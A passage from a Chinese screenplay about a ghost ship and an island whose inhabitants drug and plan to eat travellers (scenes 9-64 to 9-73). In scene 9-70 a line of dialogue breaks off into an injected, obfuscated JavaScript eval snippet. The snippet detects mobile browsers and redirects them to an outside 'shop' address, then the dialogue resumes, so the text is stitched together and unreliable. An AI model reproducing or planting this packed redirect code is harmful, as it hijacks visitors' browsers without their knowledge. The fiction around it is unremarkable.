酒楼伙计:水缸? 刘添福:(指着面前摆放的碗)我这个人食量大,这个碗对我来说太小了。 酒楼伙计:哦,明白了!客官您稍等,盆这就来! 伙计走后。 小迢:刘老板,这家店遇上你,算是倒了大霉了! 刘添福:不是说了吗?我这样做,又不是为了我自己。吃完饭后,咱们再去街上逛逛,多买些东西。 裴光年:刘老板,那艘船要是不来,你就算是把岛上的东西全买光了,也带不走呀! 刘添福:好说!这些东西今儿虽然不要钱,明儿不就要钱了吗?带不走的话,我就把它们统统卖掉,还能大赚一笔呢! 吃完饭,裴光年等人又把街上的每家店铺都逛了一遍,买了成堆的东西之后,方才找了家客栈住下,打算先歇一晚,再去找那艘鬼船。 9-65 山形小岛,客栈,客房(夜,内) 人物:裴光年 梦中,裴光年恍恍惚惚地听见有人在说话。 声音甲:妹子,你给他们下的药管用吗?可别在半夜里醒过来了。 声音乙:我用了比平常多三倍的量,足够他们睡上一阵子了。 声音甲:那就好。等黑鱼兄弟回来了,咱们就可以开吃了。 声音丙:嘿嘿,我恨不得这就把他们给煮了。 声音甲:那个小个子的肉太嫩,蒸着吃更好,他的骨头也别浪费了,放进油锅里炸一炸,可以当下酒菜。那个胖子一身的肥膘,应该能炼出不少油,咱们拿它来炒菜和拌饭,肯定很香。至于那个大个子嘛…… 声音乙:嘻嘻,我更想生吃了他! 这声音有点儿耳熟,裴光年想睁开眼,看看他们是谁,眼皮却像是有千斤重,根本抬不起来,他的脑中一片昏沉,又迷迷糊糊地睡了过去。 9-66 鬼船,甲板上(夜,外) 人物:钱贵 钱贵出来撒尿,见海里有一条巨大的黑影。 钱贵:(瞪大了眼睛)哇,好大的一条鱼呀! 黑影张开大嘴,用一条长长的舌头卷起钱贵,吞进了肚子里…… 9-67 鬼船,船舱(日,内) 人物:楚胜男、孔哲文、王顺、赵宝 楚胜男还没睡醒,就听见孔哲文等人的叫声。 楚胜男:(从屋里冲出来)怎么了? 孔哲文:楚姑娘,快来看!昨晚的那个家伙,变成一具白骨了! 楚胜男走进屋子里一看,林涛果然不见了踪影,刘添福的衣裳里裹着的,是一具白骨。 楚胜男:他是在什么时候变成这样的?怎么变的? 孔哲文:楚姑娘,不是你说要给他一个机会吗?我们也跟你一样,在屋里睡觉呢。 楚胜男:你们睡着了没?(见他们支支吾吾)既然没睡着,有没有听见什么动静? 孔哲文:(问王顺)王大哥,你就住在他的隔壁,你来说说,昨晚他都干了些什么? 王顺:他一直在打呼噜。 楚胜男:还有呢? 王顺:天快亮时,我听见他啊啊啊地叫了几声,接着便没了动静,我不放心,就过来瞅了一眼。 楚胜男:那时的他,是人还是白骨? 王顺:已经变成白骨了。 9-68 鬼船,船舱(日,内) 人物:楚胜男、孔哲文、王顺、赵宝 众人从林涛的屋子里走出。 孔哲文:唉,看见他变成一具白骨,我终于可以松口气了。 王顺:可不是嘛!昨晚我一夜都没合眼,生怕被他祸害了! 赵宝:既然这样,还留着他干嘛?何不趁现在,赶紧把他丢回海里去! 王顺:咦,也是啊。那还等什么?快动手吧! 众人正要回去搬动林涛的尸骨,却被楚胜男制止。 楚胜男:喂!你们几个想干什么? 王顺:人鬼殊途!这家伙是从海里来的,当然也该回海里去了! 楚胜男:如果到了晚上,他又爬上来了,怎么办? 王顺:好说!咱们四个人分别守住船的四个角,甭管是谁上来了,都把他推下去! 楚胜男:你这样做,就不是在救人了,而是在杀人了。 王顺:楚姑娘,何苦呢?这些人早就死了! 楚胜男:可他们都以为自己还活着。如果你的家人也在这里面,你会把他推下去吗? 王顺:楚姑娘,我们知道你是来找你哥的。你放心,如果你哥来了,我们一定把他救上来。 楚胜男:(指着白骨)他就是我哥。 此话一出,众人都愣住了。 孔哲文:他……他是你哥? 楚胜男:对呀! 孔哲文:可你昨晚还把他打了一顿。 王顺:是啊,他也叫你楚姑娘,怎么会是你哥呢? 楚胜男:屋里太黑了,我没认出他,他也没认出我。 孔哲文:(瞅了一眼白骨)那你这下看明白了? 楚胜男:错不了!他就是我哥,我打算把他的尸骨带回去安葬。所以说从现在起,没有我的允许,你们谁都不许碰他! 9-69 鬼船,船舱(日,内) 人物:赵宝、王顺、孔哲文、楚胜男 见楚胜男不在,赵宝的嘴里哼起了小调。 赵宝:天上掉下个林哥哥…… 王顺:喂喂喂,你瞎唱什么呢?小心被楚姑娘听见了! 赵宝:难道不是吗?这个哥哥来得可真是太便宜了! 王顺:一个愿打一个愿挨,要你管! 赵宝:什么叫一个愿打一个愿挨?(指了指林涛的屋子)那家伙还没答应呢! 王顺:(模仿武学招式)楚姑娘会这个,他敢不答应吗? 赵宝:唉,也是啊!咱们几个大男人,居然被一个女人给镇住了,想想都觉得窝囊! 王顺:书呆子,你读了那么多年的书,就不能跟她讲讲道理吗? 孔哲文:跟讲道理的人,才能讲道理;跟不讲道理的人,讲再多的道理,也是白搭。 赵宝:你的意思是,楚姑娘不讲道理? 孔哲文:我说了吗?明明是你在说嘛! 楚胜男:(从外面进来)王顺、赵宝,你们看见钱贵了没? 赵宝:没有啊! 王顺:昨儿夜里他说要去撒尿,便没了踪影,估计这会儿正猫在哪个旮沓里睡大觉呢。 楚胜男:甲板上有一只他的鞋子,会不会掉进水里了? 9-70 鬼船,甲板上(日,外) 人物:楚胜男、孔哲文、王顺、赵宝 众人来到甲板上,果然看见钱贵的鞋子落在舷边。他们不放心,又把船的里里外外都找了一番,也没发现钱贵的影子。 孔哲文:楚姑娘说的没错,他应该是掉进水里了。(安慰王顺)王大哥,人死不能复生,节哀顺变吧! 王顺:唉,这小子跟着我一道儿出来,原打算挣够了钱,就回家娶媳妇儿,没想到却落得如此下场。 赵宝:咦,你们说会不会是那家伙干的?(用手指了指船舱) 楚胜男:赵宝,别胡说! 赵宝:难道不是吗?那家伙上来之后,钱贵就掉下去了,怎么会这么巧? 孔哲文:你的意思是,那家伙趁着钱贵出来撒尿的时候,把他推下去了? 楚胜男:他跟钱贵无冤无仇,为何要这么做?再说了,昨晚你们就睡在他的隔壁,不是听见他一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17009219|194058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直在打呼噜吗? 王顺:他是在打呼噜,可赵宝也在打呼噜,我的左耳朵听见他的呼噜声、右耳朵听见赵宝的呼噜声,脑子里一片混沌,哪里分得清到底是谁在打呼噜呀! 楚胜男:你…… 孔哲文:昨晚咱们都在屋里睡觉,没人盯着那家伙,他要是想害钱贵的话,有的是机会。 楚胜男:你怎么知道钱贵不是失足落水? 赵宝:你怎么知道那家伙是个好人?就因为他是你哥吗? 楚胜男:你…… 王顺:不管这件事是不是那家伙干的,咱们都不能再留着他了!赵宝,走!咱们把那家伙弄出来丢回海里去! 楚胜男:何不再等等! 王顺:等什么? 楚胜男:等他变成人之后问个明白! 孔哲文:他会承认吗?如果他说这不是他干的,怎么办?若留着他,谁知道他接下来又要祸害谁? 楚胜男:我替你们看着他,这样总行了吧? 王顺:老虎也有打盹儿的时候,你敢保证不出错吗? 赵宝:是啊!你会功夫,咱们又不会功夫,他害不了你,却害得了咱们。 楚胜男:你们这些家伙,为何非要跟他过不去?就不怕冤枉了好人? 赵宝:咱们现在是泥菩萨过江自身难保,哪里还顾得上他? 孔哲文:楚姑娘,我知道你是出于好心,想让那家伙入土为安。(想了想)实在不行的话,咱们把他送去那座岛上…… 王顺:送去那座岛上?说得倒容易,送去了之后,怎么回来? 赵宝:是啊,等咱们回来时,这艘船要是走了,怎么办? 楚胜男:得得得,你们别说了,我自己去! 孔哲文:楚姑娘,你可要想清楚了,他一个已死之人,值得你这样做吗? 楚胜男:裴公子他们也在那座岛上,我正想去找他们呢。 楚胜男带着林涛的尸骨,游向了那座岛。 9-71 山形小岛(日,外) 人物:楚胜男、小男孩、小女孩、兄妹俩的母亲 楚胜男来到林子里,正想找个地方埋下林涛的尸骨,却听见前方不远处,传来一男一女两个稚气的声音。 小女孩:哥哥,你小心点儿,别掉下来了! 小男孩:放心吧,我又不是头一回爬这棵树。珊珊,你等着,哥哥把最大的那颗果子摘下来给你吃! 楚胜男走近一瞧,只见树下站着一个小女孩,正仰着头,望着树梢上的那个小男孩。小男孩伸出手,正打算摘下那颗最大的果子,却不料脚下一滑,从树上掉了下来。楚胜男见状,飞奔上前,稳稳地接住了小男孩。 小女孩:(不安地问)哥哥,你没事吧? 小男孩:我没事!(双手抱拳对楚胜男)多谢女侠出手相救! 楚胜男:(忍不住笑了)呵呵,你小小年纪,说起话来怎么像个大人? 小男孩:我见大人们平常都是这么说话的,更何况我已经九岁了,也是个大人了! 楚胜男:这里不是一座荒岛吗?你们怎么会在这里? 小男孩:荒岛?这位女侠,你是不是弄错了? 小女孩:对呀,我们就住在那里。 楚胜男顺着小女孩手指的方向望去,见半山腰里竟然有一个小小的村庄。 楚胜男:原来这里不是一座荒岛。 小男孩:(怀着歉意)珊珊,对不起,哥哥没能把最大的那颗果子摘下来给你吃。 小女孩:没关系!(指着身旁的竹篮,里面装着不少果子)有这么多果子,足够咱们吃了!(拿了一颗递给楚胜男)姐姐,你也尝尝吧,这些果子可甜了! 楚胜男:(摆摆手)哦,我不吃,你们吃吧。 小女孩:你是不是觉得这个太小了?(在竹篮里翻找了一下,挑出一颗最大的果子)这个比那个大,你吃这个吧。 楚胜男:哦,不是,我不饿,还是你们吃吧。 小男孩:这位女侠,你是不是怕果子有毒呀?这棵树上的果子我们年年都摘、年年都吃,你要是不放心的话,我吃给你看! 小男孩抱着刚刚摘下的果子,大口地啃了起来,又递给小女孩一个。 小男孩:嘿嘿,真甜!珊珊,你也吃一个吧! 小女孩:嗯,好。(把那颗最大的果子递给楚胜男)姐姐,你也吃吧。 楚胜男:哦,好吧。 见兄妹俩这么热情,楚胜男也不好推辞,接过果子,轻轻地咬了一口。 小女孩:怎么样?是不是很甜呀? 楚胜男:(笑着点点头)嗯,就像蜜糖一样。 从村庄里出来一个女人,冲着兄妹俩招招手。 女人:珊珊、浩浩!回家吃饭了! 小男孩/小女孩:好嘞,娘,我们这就回来! 兄妹俩答应着,又对楚胜男道。 小男孩:这位女侠,你刚才救了我的命,不如去我家做客吧! 小女孩:对呀,我娘烧的菜可好吃了! 楚胜男:哦,不用了,我还有些事情要办。你们两个也别玩了,快回去吧! 辞别了兄妹俩,楚胜男继续往林子的深处走去,她找了个空旷的地方,挖出一个坑,准备把林涛的尸骨埋进去。 楚胜男:这位兄弟,虽然咱们素不相识,不过你既然上了那艘船,也算是跟我有缘。这个地方虽然偏僻,却比海底下要亮堂许多,你住在这里,应该会舒服点儿,至少用不着每天变来变去了…… 话没说完,楚胜男感到一阵头晕目眩,跟着扑通一声栽倒在地。恍恍惚惚间,她看到了两个幼小的身影。 小女孩:哥哥,你瞧!她睡着了。 小男孩:呀,我刚才忘了告诉她,篮子里的果子不是从树上摘下来的。 小女孩:这么说,她不是睡着了? 小男孩:(得意地笑了)嘿嘿,都说大人骗小孩子容易,要我说,小孩子骗大人也挺容易嘛! 9-72 鬼船,船舱(夜,内) 人物:王顺、赵宝、孔哲文 望着空荡荡的船舱,王顺叹了口气。 王顺:唉,人越来越少了。 赵宝:是啊,钱贵的事,实在是太令人意外了! 王顺:可惜这船上没有酒,好歹兄弟一场,咱们也该送送他。 孔哲文:(突然发问)王大哥,这艘船是不是停下了? 王顺:对呀,从昨晚到现在,一直都在这片海里。 赵宝:这艘船倒也通人性,知道裴公子他们不在,所以留在这里等着他们回来。 孔哲文:可我怎么觉得它是在等着咱们下去呢? 王顺:等着咱们下去?为何? 孔哲文没有回答,他的脸上露出诡异的笑容…… 博州,奉公岛 9-73 地宫(夜,内) 人物:桂雨尽 望着画上的山形小岛,桂雨尽先是叹了口气,接着又笑了起来。 桂雨尽:唉,这么快就全军覆没了?裴大人呀裴大人,您可真是太大意了!哈哈哈哈…… (第一册完)